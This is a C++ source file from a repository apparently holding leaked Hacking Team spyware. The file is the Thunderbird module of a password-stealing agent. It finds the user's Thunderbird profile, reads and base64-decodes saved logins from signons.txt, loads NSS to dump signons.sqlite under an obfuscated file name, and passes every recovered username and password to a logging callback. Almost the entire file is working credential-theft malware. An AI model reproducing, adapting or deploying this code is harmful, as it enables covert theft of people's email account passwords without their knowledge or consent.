hackedteam/core-win32

View on GitHub
HM_PWDAgent/thunderbird.cpp

Summary

Maintainability
Test Coverage

#define _CRT_SECURE_NO_WARNINGS 1

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <windows.h>

#include "base64.h"
#include "..\common.h"

// callback for the password
extern int LogPassword(WCHAR *resource, WCHAR *service, WCHAR *user, WCHAR *pass);
extern int DirectoryExists(WCHAR *path);
extern int InitFFLibs(WCHAR *);
extern int InitializeNSSLibrary(WCHAR *);
extern void NSSUnload();
extern int DumpSqlFF(WCHAR *profilePath, WCHAR *signonFile);
extern WCHAR *DeobStringW(WCHAR *string);

// Function declarations..
WCHAR *GetTBProfilePath();

#define SAFE_FREE(x) do { if (x) {free(x); x=NULL;} } while (0);

extern WCHAR *UTF8_2_UTF16(char *str); // in firefox.cpp


int Decrypt(CHAR *cryptData, WCHAR *clearData, UINT clearSize)
{
    int decodeLen = 0;
    int finalLen = 0;
    char *decodeData = NULL;
    WCHAR *finalData = NULL;
    std::string b64Data = cryptData;
    std::string b64DecData;

    if (cryptData[0] == NULL )
        return 0;
    
    b64DecData = base64_decode(b64Data);

    finalData = UTF8_2_UTF16((char *)b64DecData.c_str());

    wcsncpy(clearData, finalData, clearSize);

    SAFE_FREE(finalData);

    return 1;
}


int DumpTB(WCHAR *profilePath, WCHAR *signonFile)
{
    WCHAR signonFullFile[MAX_PATH];
    char buffer[2048];
    int bufferLength = 2048;
    FILE *ft = NULL;

    struct tbp_entry {
        WCHAR service[64];
        WCHAR resource[255];
        WCHAR user_name[255];
        WCHAR user_value[255];
        WCHAR pass_name[255];
        WCHAR pass_value[255];
    } tbentry;

    memset(&tbentry, 0, sizeof(tbentry));

    if ( profilePath == NULL || signonFile == NULL)
        return 0;

    _snwprintf_s(signonFullFile, MAX_PATH, L"%s\\%s", profilePath, signonFile);

    if ( (ft = _wfopen(signonFullFile, L"r")) == NULL ) 
         return 0;

    fgets(buffer, bufferLength, ft);

    // Read out the unmanaged ("Never remember" URL list
    while (fgets(buffer, bufferLength, ft) != 0) {
        // End of unmanaged list
        if (strlen(buffer) != 0 && buffer[0] == '.' && buffer[0] != '#')
            break;
    }

    // read the URL line
    while (fgets(buffer, bufferLength, ft) != 0 ){

        buffer[strlen(buffer)-1] = 0;
        //printf("-> URL: %s \n", buffer);
        swprintf_s(tbentry.service, 255, L"Thunderbird");
        _snwprintf_s(tbentry.resource, 255, _TRUNCATE, L"%S", buffer);

        //Start looping through final singon*.txt file
        while (fgets(buffer, bufferLength, ft) != 0 ) {

            // new entry begins with '.'
            if (!strncmp(buffer, ".", 1)) {
                if (wcscmp(tbentry.user_name, L""))
                    LogPassword(tbentry.service, tbentry.resource, tbentry.user_value, tbentry.pass_value);
                
                memset(&tbentry.user_value, 0, sizeof(tbentry.user_value));
                memset(&tbentry.user_name, 0, sizeof(tbentry.user_name));
                memset(&tbentry.pass_value, 0, sizeof(tbentry.pass_value));
                memset(&tbentry.pass_name, 0, sizeof(tbentry.pass_name));
                
                break; // end of cache entry
            }

            //Check if its a password
            if (buffer[0] == '*') {
                buffer[strlen(buffer)-1] = 0;
                _snwprintf_s(tbentry.pass_name, 255, _TRUNCATE, L"%S", buffer + 1);
                
                fgets(buffer, bufferLength, ft);
                buffer[strlen(buffer)-1] = 0;
                
                Decrypt(buffer+1, tbentry.pass_value, 255);

            } else if (!wcscmp(tbentry.user_name, L"")) {
                buffer[strlen(buffer)-1] = 0;
                _snwprintf_s(tbentry.user_name, 255, _TRUNCATE, L"%S", buffer);

                fgets(buffer, bufferLength, ft);

                if (!strcmp(buffer, "~\n")) {
                    // the username is inside the resource
                    WCHAR *u;
                    
                    wcsncpy(tbentry.user_value, tbentry.resource, 255);

                    if ((u = wcsstr(tbentry.user_value, L"://")) != NULL) {
                        u += wcslen(L"://");
                        swprintf_s(tbentry.user_value, 255, L"%s", u);
                        if ((u = wcschr(tbentry.user_value, L'@')) != NULL)
                            *u = 0;
                    }
                } else {
                    buffer[strlen(buffer)-1] = 0;
                    Decrypt(buffer+1, tbentry.user_value, 255);
                }
            }
        }
    }

    fclose(ft);

    return 1;
}

WCHAR *GetTBLibPath()
{
    static WCHAR FullPath[MAX_PATH];
    char regSubKey[]    = "Software\\Classes\\Thunderbird.Url.mailto\\shell\\open\\command";
    char path[MAX_PATH];
    char *p;
    DWORD pathSize = MAX_PATH;
    DWORD valueType;
    HKEY rkey;

    // Open firefox registry key
    if( RegOpenKeyEx(HKEY_CURRENT_USER, regSubKey, 0, KEY_READ, &rkey) != ERROR_SUCCESS )
        return NULL;

    // Read the firefox path
    if( RegQueryValueEx(rkey, NULL, 0,  &valueType, (unsigned char*)&path, &pathSize) != ERROR_SUCCESS ) {
        RegCloseKey(rkey);
        return NULL;
    }

    if( pathSize <= 0 || path[0] == 0) {
        RegCloseKey(rkey);
        return NULL;
    }

    RegCloseKey(rkey);

    // get the path and then remove the initial \"
    if ((p = strrchr(path, '\\')) != NULL)
        *p = '\0';

    p = path;
    
    if( *p == '\"' ) 
        p++;

    if (!p)
        return NULL;

    _snwprintf_s(FullPath, MAX_PATH, L"%S", p);        

    return FullPath;
}

WCHAR *GetTBProfilePath()
{
    WCHAR appPath[MAX_PATH];
    WCHAR iniFile[MAX_PATH];
    WCHAR profilePath[MAX_PATH];
    static WCHAR FullPath[MAX_PATH];
    
    FNC(GetEnvironmentVariableW)(L"APPDATA", appPath, MAX_PATH);

    _snwprintf_s(iniFile, MAX_PATH, L"%s\\Thunderbird\\profiles.ini", appPath);
   
    FNC(GetPrivateProfileStringW)(L"Profile0", L"Path", L"",  profilePath, sizeof(profilePath), iniFile);

    _snwprintf_s(FullPath, MAX_PATH, L"%s\\Thunderbird\\%s", appPath, profilePath);

    return FullPath;
}


int DumpThunderbird(void)
{
    WCHAR *ProfilePath = NULL;     //Profile path
    WCHAR *TBDir = NULL;           //Thunderbird main installation path

    ProfilePath = GetTBProfilePath();

    if (!ProfilePath || !DirectoryExists(ProfilePath)) 
        return 0;

    // get the password for the old versions
    DumpTB(ProfilePath, L"signons.txt");   

    // get the password for the 3.1.x
    TBDir = GetTBLibPath();

    if (!TBDir || !DirectoryExists(TBDir)) 
        return 0;

    if (!InitFFLibs(TBDir))    
        return 0;

    if (!InitializeNSSLibrary(ProfilePath))
        return 0;

    DumpSqlFF(ProfilePath, DeobStringW(L"9Z71519.9ByZLI")); //"signons.sqlite"

    NSSUnload();

    return 0;
}